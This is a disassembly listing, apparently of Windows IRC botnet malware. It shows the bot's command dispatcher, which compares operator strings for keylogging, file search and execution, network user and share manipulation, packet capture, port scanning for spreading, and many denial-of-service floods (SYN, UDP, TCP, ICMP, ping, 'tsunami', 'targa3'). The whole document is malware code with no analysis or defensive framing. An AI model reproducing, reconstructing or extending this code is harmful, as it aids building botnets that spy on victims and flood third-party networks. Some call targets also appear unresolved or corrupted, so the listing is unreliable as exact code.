		push	offset unk_42B150
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_405D82


loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------


loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset unk_42B114
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0D4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B0A4
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B07C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B050
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	loc_40828B
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset dword_42B01C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFE4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AFC4
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF78
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF4C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AF2C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------


loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]


loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AF08
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40600E


loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------


loc_40600E:				; CODE XREF: sub_401ACD+4529j
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset dword_42AECC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB074, ebx
		jz	short loc_40604E
		cmp	dword_4CB09C, ebx
		jz	short loc_40604E
		push	offset unk_42AE90
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------


loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE64
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE44
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1


loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx


loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------


loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42ADFC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADDC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2


loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42ADB4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD94
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD68
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD4C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09


loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B530
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4067C5


loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 267053Bh
		nop
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------


loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset unk_42ABBC
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB74
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 2670603h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4068F2


loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------


loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset dword_42AB38
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
